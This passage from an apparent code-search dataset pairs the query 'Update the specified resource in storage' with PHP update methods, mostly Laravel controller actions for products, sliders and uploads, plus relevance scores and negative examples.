$resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Update the specified resource in storage.
public function detalleUpdate(Request $request, DetalleVenta $detalleVenta) { switch ($request->get('tipo_venta')) { case 1: $detalleVenta->valor_implementacion = $this->decimalFormatBD($request->get('inp_valor_implementacion')); $detalleVenta->valor_mantencion = $this->decimalFormatBD($request->get('inp_valor_mantencion')); break; case 2: $detalleVenta->precio = $this->decimalFormatBD($request->get('inp_precio')); break; case 3: $precioMinimo = $this->decimalFormatBD($request->get('inp_precio_minimo')); $precioMaximo = ($request->has('inp_precio_maximo')) ? $this->decimalFormatBD($request->get('inp_precio_maximo')) : null; $detalleVenta->precio_minimo = $precioMinimo; $detalleVenta->precio_maximo = ($precioMaximo) ? $precioMaximo : null; break; } $detalleVenta->save(); return redirect()->route('cotizador.edit', $detalleVenta->venta_id)->with(['status' => 'Detalle modificado satisfactoriamente', 'title' => 'Éxito']); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with 